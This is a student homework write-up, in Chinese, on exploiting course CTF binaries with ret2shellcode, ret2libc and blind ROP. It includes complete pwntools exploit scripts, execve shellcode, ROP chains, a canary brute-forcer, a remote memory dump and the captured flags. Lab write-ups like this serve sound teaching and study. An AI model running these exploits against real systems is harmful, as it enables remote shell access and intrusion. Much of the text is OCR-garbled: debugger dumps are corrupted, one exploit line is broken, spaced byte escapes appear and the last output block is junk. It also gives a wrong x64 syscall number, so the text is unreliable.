Homework02 Return-Oriented Programming Breakdown

姓名: 张凌铭 学号: 3180103857

Challenge 1 ret2Shellcode 64bit

(1) shellcode攻击过程,原理及Flag获取

查看ret2shellcode.c的Makefile, "-fno-stack-protector""-fno-pie -no-pie""-z execstack"的选项意味着不存在canary, PIE未设置以及栈可执行。那么,我们就可以通过Buffer Overflow将hear()的返回地址覆写为Shell Code的起始地址(当然,可以通过nop指令做不那么精确的跳转)。

先通过**objdump**-d **01_ret2shellcode**指令,找到hear()中的局部变量str数组的基地址与%rbp之间的偏移量,在红框标出的部分,可以看到,首先%rax通过lea指令获得值%rbp-0x100,接着%rax的值被赋给%rdi,也就是**64**位寄存器传参的第一个参数寄存器,所以,可以确定偏移量为**256**字节:

```
400737:
                 55
                                               push
                                                        %гьь
                 48 89 e5
                                                       %rsp,%rbp
$0x100,%rsp
-0x100(%rbp),%rax
400738:
                                               mov
                 48 81 ec 00 01 00 00
48 8d 85 00 ff ff ff
40073b:
                                               sub
                                               lea
400749:
                 48 89 c7
                                               mov
                                                        %rax,%rdi
40074c:
                 b8 00 00 00 00
                                                        $0x0,%eax
                 e8 da fe ff ff
                                               callq 400630 <gets@plt>
400751:
                 90
                                               nop
leaveq
400756:
                 c9
400757:
400758:
                                               retq
```

因为开启了部分地址随机化(partial RELRO),栈的加载地址是不确定的,但是好在ret2shellcode.c提供了如下语句:

```
printf("[*] Hi, %lld. Your ID is stored at:0x%016llX\n", id, &id);
```

那么,既然已知id在栈上的存储地址,并且每次加载时id和hear()函数调用期间的%rbp相差的偏移量是固定的,我们就能确定每次加载时%rbp的地址。这个偏移量可以通过gdb调试得知,如下图所示,&id = 0x7FFFFFFDE48,%rbp = 0x7FFFFFFDE30,偏移量为0x18:

```
[*] Ht, 3180163857. Your ID its stored at:0x080807FFFFFFFE48
[*] Now, give me something to overflow me!

Sreakpoint 1, 0x08080808080809078 in hear ()

LECEND: STACK | MEAP | COD | DATA | BMX | FODATA

RECISTERS }

RX 0x0

RX 0x0
```

从shellcode-storm网站查找得到适用于Linux/x86_64的shellcode代码,十六进制的机器码如下所示: (30 bytes)

```
 $$ x48 x31 xd2 x48 xbb x2f x2f x62 x69 x6e x2f x73 x68 x48 xc1 xeb x08 x53 x48 x89 xe7 x50 x57 x48 x89 xe6 xb0 x3b x0f x05
```

但是直接使用这个shellcode会触发段错误。我推测是%rax没有清零的缘故,所以在shellcode最开始处添加了xor %rax, %rax指令的机器码,机器码可以通过pwntools的如下指令得到:

```
from pwn import *
context(arch='amd64', os = 'linux')
asm('xor rax,rax')
```

将汇编得到的机器码'\x48\x31\xc0'与shellcode拼接在一起,得到新的shellcode(33 bytes)。最后,编写exploit.py如下,注意shellcode与%rbp之间应预留部分空间,以防进栈操作覆写shellcode代码:

```
from pwn import *
conn = remote("47.99.80.189", 10011)
conn.recvuntil("StudentID:\n")
payload1 = b"3180103857"
conn.sendline(payload1)
conn.recvuntil("ID:\n")
conn.sendline(payload1)
recv addr = conn.recvuntil("me!\n")
8'), base=16)
payload2 = b" \x 90" * 194
payload2 +=
b"\x48\x31\xc0\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48"
payload2 +=
b"\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
payload2 += b" \x 90" * 29
payload2 += p64(0xdeadbeefdeadbeef) + p64(base - 0x18 - 0x3e)
conn.sendline(payload2)
conn.interactive()
```

运行exploit.py, 得到flag为ssec2021{y0u KnoW 5he11C0dE|8d5bd3c1}:



(2) x86_64 shellcode代码分析

新的shellcode的汇编代码如下所示:

```
%rax, %rax
xor
     %rdx, %rdx
xor
mov
     $0x68732f6e69622f2f, %rbx
shr
     $0x8, %rbx
push %rbx
     %rsp, %rdi
mov
push
      %rax
push %rdi
mov
     %rsp, %rsi
     $0x3b, %al
mov
syscall
```

最开始的xor指令用于对rax和rdx寄存器做清零操作。紧跟其后的mov指令将字符串"//bin/sh"(恰好8字节)存入rbx寄存器(x86 64是小端规则)。

通过shift right指令将rbx对应的字符串改写为"/bin/sh"(这才是C语言需要的字符串,以\x00结尾)。 push %rbx和mov %rsp, %rdi用于将字符串保存至栈上,并且将64位寄存器传参的第一个参数寄存器 rdi设为"/bin/sh"字符串的基地址。

push %rax, push %rdi以及mov %rsp, %rsi用于构造一维数组["/bin/sh", NULL], 并将第二个参数寄存器rsi设为数组的基地址。

因为syscall的调用号存储在rax寄存器中,mov 0x3b, %al和syscall的作用就是调用syscall NR为59的系统调用,也就是execve。

总体来说,上述shellcode执行的C代码为execve("/bin/sh", ["/bin/sh", NULL])。

(3) linux-i386 shellcode分析与比较

linux-i386下的shellcode代码如下:

```
xor %ecx,%ecx
xor %edx,%edx
push %edx
push $0x68732f2f
push $0x6e69622f
mov %esp,%ebx
xor %eax,%eax
mov $0xb,%al
int $0x80
```

其实代码逻辑是相似的,首先对ecx和edx寄存器做清零操作,因为ecx和edx本身也是32位寄存器传参的参数寄存器。

push %edx指令用于在字符串末尾置\x00,也就是字符串终结符。

push \$0x68732f2f和push \$0x6e69622f指令将字符串"/bin//sh"保存到栈上。

mov %esp, %ebx指令用于将32位寄存器传参的第一个参数寄存器ebx置为字符串"/bin//sh"的基地址。

xor %eax, %eax, mov \$0xb, %al和int \$0x80指令用于调用syscall NR为11的系统调用(系统调用号保存在eax寄存器中),也就是execve。

总体来说,上述shellcode执行的C代码为execve("/bin//sh")。

相同点:均通过寄存器传参的方式执行系统调用;字符串本身都保存在栈上。

不同点:寄存器本身长度不同;传参寄存器不同,对于i386,传参寄存器为ebx,ecx和edx等等。对于x64而言,传参寄存器为rdi,rsi和rdx等等;系统调用号不相同,对于i386而言是0xb,对于x64而言是0xb,对于x64而言是0xb;系统调用的汇编指令不同,对于i386而言是int 0x80,对于x64而言是syscall。

Challenge 2 Ret2libc 64bit

首先我们须知puts函数的GOT表项地址,通过GDB下的disass puts命令可以看到puts函数的GOT表项地址为0x601018(当然程序本身也已告知)

此外,通过disass hear可以看到,hear()函数中str的基地址与%rbp之间的偏移量为0x100:

```
ndbg> disass puts
mp of assembler code for function puts@plt:
                                                           QWORD PTR [rip+0x200ac2]
0x0
  0x00000000000400550 <+0>:
0x00000000000400556 <+6>:
0x0000000000040055b <+11>:
                                                jmp
push
                                                                                                                  # 0x601018
                                                  jmp
                                                              0x400540
nd of assembler dump.
 mp of assembler code for function hear:
0x00000000000400706 <+0>: push rb
                                            push
mov
sub
  0x00000000000400700 <+0: push rbp,rsp
0x00000000000400703 <+1>: mov rbp,rsp
0x00000000000400711 <+11>: lea rax,[rbp-0x100]
0x00000000000000000400718 <+18>: mov edx,0x148
                                                             rsi,rax
edi,0x0
  0x0000000000400720 <+26>:
0x00000000000400725 <+31>:
                                                   MOV
                                                  call 0x400580 <read@plt>
   0x000000000040072a <+36>:
                                                  nop
leave
  0x000000000040072b <+37>:
  0x000000000040072c <+38>:
```

因为x64是寄存器传参,所以需要找rdi gadget来传递参数,我们使用ROPgadget来查找所需要的 gadget地址,得到rdi gadget的地址为0x00400843:

```
→ 02_ret2libc64 ROPgadget --binary 02_ret2libc64 --only 'pop|ret' | grep
'rdi'
0x000000000400843 : pop rdi ; ret
```

那么,可以通过puts(GOT(puts))来得到puts函数的运行时地址。

接下来,我们需要知道在libc-2.27.so中puts函数相对基址的偏移量,"/bin/sh"相对基址的偏移量,system函数相对基址的偏移量以及exit函数相对基址的偏移量。此外,main函数的地址也需要知道(Stage 2最开始需要跳回到main函数)。

puts函数, system函数和exit函数相对基址的偏移量可以通过readelf命令获得。

可以看到,puts函数的偏移量为0x00080aa0,system函数的偏移量为0x0004f550,exit函数的偏移量为0x00043240。

"/bin/sh"的偏移量可以通过在GDB中使用find命令, info proc map命令和p /x命令得到。同样, main函数的起始地址也可以通过在GDB中使用disass main得到。 从下图中可知, "/bin/sh"的偏移量为0x1b3e1a, main函数的起始地址为0x0040072d。

编写exploit.py如下:

```
from pwn import *
puts plt = 0 \times 00400550
puts\_got = 0x00601018
rdi_gadget = 0x00400843
offset_puts = 0x00080aa0
offset exit = 0 \times 00043240
offset_syst = 0x0004f550
offset bish = 0 \times 001b3e1a
main addr = 0x0040072d
ret addr = 0x0040053e
conn = remote("47.99.80.189", 10012)
conn.recvuntil("StudentID:\n")
payload = b"3180103857"
conn.sendline(payload)
conn.recvuntil("ID:")
payload = b"3180103857"
conn.sendline(payload)
conn.recvuntil("me!\n")
gadget = p64(puts_got) + p64(puts_plt)
payload = b"A" * 256 + p64(0xdeadbeefdeadbeef) + p64(rdi gadget) + gadget +
p64(main_addr)
conn.sendline(payload)
# get leak of puts in libc
leak = conn.recv(6)
# complete leak to 8 bytes
if len(leak) != 8:
   leak += b" \setminus x00" * (8-len(leak))
puts libc = u64(leak)
addr base = puts libc - offset puts
addr_exit = addr_base + offset_exit
```

```
addr_syst = addr_base + offset_syst
addr_bish = addr_base + offset_bish

conn.recvuntil("ID:")
payload = b"3180103857"
conn.sendline(payload)

conn.recvuntil("me!\n")
gadget = p64(addr_bish) + p64(ret_addr) + p64(addr_syst)
payload = b"A" * 256 + p64(0xdeadbeefdeadbeef) + p64(rdi_gadget) + gadget + p64(addr_exit)
conn.sendline(payload)
conn.interactive()
```

PS: 添加ret_addr是因为在64-bit下,glibc-2.27版本的库函数使用了sse指令,要求操作数16字节对 齐。因此需要在rop链中增加一个指向ret的gadget,多跳一次使得sp指针对齐。如果不添加,报 错"Process './02_ret2libc64' stopped with exit code 2"。

ret_addr的获取同样可以通过ROPgadget工具,可以看到ret gadget的地址为0x0040053e:

```
→ 02_ret2libc64 ROPgadget --binary 02_ret2libc64 --only 'ret'

Gadgets information
------

0x000000000040053e : ret

0x0000000000400542 : ret 0x200a

0x00000000004006c1 : ret 0xb60f

Unique gadgets found: 3
```

运行exploit.py, 结果如下所示, flag为ssec2021{l1Bc d4Ng3r0us|66d86853}:



Challenge 3 BROP

(1) 栈溢出长度判断

该部分就是暴力破解,通过从1字节穷举,每次增加1字节,直到程序崩溃。考虑到i386下的canary最低位必然是\x00,我们采用"A"字符填充buffer。

```
from pwn import *
import os
import posix

def connect():
   p = None
   p = remote("47.99.80.189", 10013)
```

```
p.recvuntil("StudentID:\n")
    p.sendline(b"3180103857")
    return p
def get_buffer_size():
   p = connect()
    for i in range(100):
       payload = b"A"
        payload += b"A" * i
       buf_size = len(payload) - 1
        p.recvuntil("darker: \n")
        p.send(payload)
        if p.recvline().startswith(b"[+]"):
            log.info("buffer size: %d" % buf_size)
            break
        else:
            log.info("bad: %d" % buf_size)
if __name__ == "__main__":
   get_buffer_size()
```

运行上述exploit.py脚本,如下图所示,buffer的长度应该为16字节:

(这里我遇到的问题是一开始使用sendline函数会在构造的字符串末尾添加'\n'字符,导致对buffer length的判断错误)

```
→ 03_brop python3 exploit.py
[+] Opening connection to 47.99.80.189 on port 10013: Done
[*] bad: 0
[*] bad: 0
[*] bad: 1
[*] bad: 2
[*] bad: 3
[*] bad: 4
[*] bad: 5
[*] bad: 6
[*] bad: 7
[*] bad: 8
[*] bad: 9
[*] bad: 10
[*] bad: 10
[*] bad: 12
[*] bad: 13
[*] bad: 13
[*] bad: 14
[*] bad: 15
[*] bad: 15
[*] bad: 15
[*] bad: 15
[*] bad: 16
[*] bad: 17
[*] bad: 18
[*] bad: 19
```

(2) Canary处理

我们逐字节爆破Canary,因为Canary为4字节,外循环遍历每一字节,内循环遍历0~255的每一种可能性,最坏情况下需要爆破4*256次。

将每一次爆破得到的对应字节存入canary_l列表,等全部字节爆破完毕再转为真正的canary。

exploit.py中处理canary的函数如下:

```
log.info("canary[0]: 0x%x" %canary 1[0])
                    break
            if i == 1:
                payload1 = payload + chr(canary 1[0]) + chr(j)
                p.recvuntil("darker: \n")
                p.send(payload1)
                if p.recvline().startswith(b"[-]"):
                    canary l[i] = j
                    log.info("canary[1]: 0x%x" %canary_1[1])
            if i == 2:
                payload1 = payload + chr(canary 1[0]) + chr(canary 1[1]) +
chr(j)
                p.recvuntil("darker: \n")
                p.send(payload1)
                if p.recvline().startswith(b"[-]"):
                    canary l[i] = j
                    log.info("canary[2]: 0x%x" %canary 1[2])
            if i == 3:
                payload1 = payload + chr(canary_1[0]) + chr(canary_1[1]) +
chr(canary 1[2]) + chr(j)
                p.recvuntil("darker: \n")
                p.send(payload1)
                if p.recvline().startswith(b"[-]"):
                    canary l[i] = j
                    log.info("canary[3]: 0x%x" %canary_1[3])
                    break
# ...
canary find(p)
canary = pow(256, 3)*canary 1[3] + pow(256, 2)*canary 1[2] + pow(256,
1) *canary 1[1] + canary 1[0]
log.info("canary: 0x%x" %canary)
```

运行结果如下图所示,可以看到,每次连接都会有不同的canary,且canary的最低位均为0x00:

```
→ 03_brop python3 exploit.py
[+] Opening connection to 47.99.80.189 on port 10013: Done
[*] canary[0]: 0x0
[*] canary[1]: 0x3d
[*] canary[2]: 0xc5
[*] canary[3]: 0x4f
[*] canary[3]: 0x4f
[*] canary: 0x4fc53d00
→ 03_brop python3 exploit.py
[+] Opening connection to 47.99.80.189 on port 10013: Done
[*] canary[0]: 0x0
[*] canary[1]: 0x6c
[*] canary[2]: 0xf9
[*] canary[3]: 0xa3
[*] canary: 0xa3f96c00
→ 03_brop
```

(3) 程序的返回地址相对位置判断

因为实际上canary和old ebp之间是存在间隔的,我们需要判断出这个间隔的大小,否则无法正确覆盖返回地址。

(一开始我以为canary后面紧跟着的就是old ebp以及return address,导致在寻找stop gadget的时候,所有在0x80486a0和0x80489a0之间的地址都符合条件,让我十分困惑。后来,经同学提醒,才知道原来canary和old ebp之间存在间隔)

因为我们需要计算的是间隔,所以每次循环都对这个间隔加1。间隔后面紧跟填充old ebp的 Oxdeadbeef以及填充return address的0x0,之所以用0x0是要让程序崩溃,以便于判断间隔大小。判断间隔大小是由函数relative ret addr()完成的:

```
def relative_ret_addr(p):
    for i in range(10):
        payload = b"A" * 16 + p32(canary)
        payload += b"A" * i + p32(0xdeadbeef) + p32(0x0)

        p.recvuntil("darker: \n")
        p.send(payload)

    if p.recvline().startswith(b"[+]"):
        log.info("possible gap: %d" %i)
```

结果如下图所示,可以看到当间隔大于等于5时,程序崩溃了。我猜测这可能是由于覆盖了返回地址的最低字节所导致的。那么设间隔为x,则有:

```
5+4+4=x+4+1 x=8
```

```
→ 03_brop python3 exploit.py
[+] Opening connection to 47.99.80.189 on port 10013: Done
[*] canary[0]: 0x0
[*] canary[1]: 0x45
[*] canary[2]: 0x13
[*] canary[3]: 0xe3
[*] canary: 0xe3134500
[*] possible gap: 5
[*] possible gap: 6
[*] possible gap: 7
[*] possible gap: 8
[*] possible gap: 8
[*] possible gap: 9
→ 03_brop
```

因为助教提示在编译选项相同的情况下,程序结构是类似的。我通过在本地构建test.c和test.py文件来验证间隔确实为8。

test.c源代码如下,编译命令为gcc test.c -o test -m32 -fno-pie -no-pie:

```
#include <stdio.h>

void hear() {
    char str[16];
    gets(str);
    puts(str);
}

int main(void) {
    printf("Input something to overflow me!\n");
    hear();
}
```

test.py源代码如下,为了方便跟踪运行中的程序,我在test.py中插入了input()函数:

```
from pwn import *

conn = process("./test")
conn.recvuntil("me!\n")
input()
payload = b"hello"
conn.sendline(payload)
print(conn.recv())
```

打开两个终端,一个终端运行"gdb test"命令,另一个终端运行"python3 test.py"命令,在GDB中通过attach pid指令跟踪由python脚本启动的test进程。

在GDB中下断点,断点位置设置在puts@plt处(保证continue后能触发),然后continue,断点触发时的截图如下:

可以看到,此时EBP的值为0xfffe49a8,字符数组s的起始地址为0xfffe498c,那么canary结束的地址为0xfffe498c + 0x10 + 0x4 = 0xfffe49a0。

因此,间隔的长度为0xfffe49a8 - 0xfffe49a0 = 0x8,也印证了之前的猜测。

(4) 追踪write@plt函数

因为本次的程序为32位,是通过栈的方式传递参数,所以我们并不需要stop gadget和BROP gadget。

既然**0x80486a0**到**0x80489a0**存在许多有趣的函数,我就先尝试去遍历这个地址范围的每一个地址, 并将返回的信息保存在文件**result.txt**,脚本如下所示:

```
f = open("result.txt", "a")

def pop_something(p):
   addr = 0x80486a0
   p.recv()
   while addr < 0x80489a0:
      payload = b"A" * 16 + p32(canary)
      payload += b"A" * 8 + p32(0xdeadbeef)
      payload += p32(addr)

      p.send(payload)
      f.write(str(p.recv(),encoding="utf-8"))
      addr = addr + 1</pre>
```

当然,在result.txt中,我发现了很多有意思的输出信息,可以看到,write@PLT的地址为0x08048560:

```
[-] YEAR 2021, Aug.29th, Sunny. id: 5aSp5LiL56ys5LiA
[-] ...i did not read today. i MUST read tomorrow, i must.
[-] YEAR 2045, Sep.3rd, Rainy. id: 5aSp5LiL56ys5LiA
[-] i am still the richest man in the world, how boring it is...
[-][-][-] What's this? >0 \times 8048560[-][-][-] it looks like a write@PLT... MAKE
GOOD USE OF IT!
[-] YEAR 2077, Mar.15th, Cloudy. id: 5aSp5LiL56ys5LiA
[-] Holly shit, i met my girl, at age 77!!! INSANE~
[-] nonono, Why are you here???
/bin/sh
app
bin
dev
entry
flag.exe
lib
lib32
lib64
```

那么,我们就省去了人工爆破write@plt的烦恼,接下来所要做的就是通过调用write(1, 0x0x8048000, 0x1000)函数拿到程序的二进制代码:

(本来以为socket对应的文件描述符还需要手动爆破,结果发现其实就是1)

```
def dump_memory(p):
    payload = b"A" * 16 + p32(canary)
    payload += b"A" * 8 + p32(0xdeadbeef)
    payload += p32(addr_write) + p32(0xdeadbeef)
    payload += p32(1) + p32(0x08048000) + p32(0x1000)

p.recvuntil("darker: \n")
p.send(payload)
res = p.recv()
print(res)
return res
```

结果如下图所示:

```
The content of the co
```

我们还需要进一步将得到的字节流转为程序, 所以需要添加如下代码:

```
fp = open("brop", 'wb')
# ...
result = dump_memory(p)
fp.write(result)
```

我们将程序拖到IDA Pro中,选择binary模式,并且通过Edit->Segments->Rebase program将基址 重新设置为0x8048000。

注意到之前的result.txt中出现了类似于Is命令的打印效果,我推测程序执行了system("/bin/Is")。
那么,先找到"/bin/Is"字符串的基地址,通过Search->Sequence of bytes->"/bin/Is",得到其地址为 0x08048BB1:

```
db 2Fh;/
seg000:08048BB1
seg000:08048BB2
                               db 62h; b
seg000:08048BB3
                               db 69h; i
                               db 6Eh; n
seg000:08048BB4
                               db 2Fh;/
*seg000:08048BB5
*seg000:08048BB6
                               db 6Ch; 1
*seg000:08048BB7
                               db
                                   73h; s
*seg000:08048BB8
                               db
```

再通过Search->Immediate value->0x8048BB1, 找到调用的函数地址0x8048520, 我们有理由相信该函数就是system函数:

```
seg000:080487F3 push 8048BB1h seg000:080487F8 call sub_8048520
```

最后,我们通过同样的方式寻找"/bin/sh",得到其起始地址为0x08048BA8。

编写exploit函数如下:

```
def exploit(p):
    payload = b"A" * 16 + p32(canary)
    payload += b"A" * 8 + p32(0xdeadbeef)
    payload += p32(0x8048520) + p32(0xdeadbeef)
    payload += p32(0x8048BA8)

p.recvuntil("darker: \n")
    p.send(payload)
    p.interactive()
```

运行结果如下所示,flag为ssec2021{tH4t_Br0p|205c4d0f}:(累死我了orz)

```
**O3.brop python3 exploit.py
[*] Opening connection to 47.99.80.189 on port 10013: Done
[*] canary[1]: 0x6d
[*] canary[2]: 0x6a
[*] canary[3]: 0xa9
[*] canary: 0xa96afd00
[*] Switching to interactive mode
5 is app
bin
dev
entry
flag.exe
lib
lib32
lib64
$../flag.exe 3180103857
CHALLENGE: brop

[ timestamp ] Wed Apr 21 14:58:20 2021
You flag: ssec2021(tH4t_Br0p|205c4d0f)
[*] Interrupted

**O3.brop

**O3.brop

**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O3.brop
**O4.brop
**O3.brop
**O4.brop
**O3.brop
**O4.brop
**O4.
```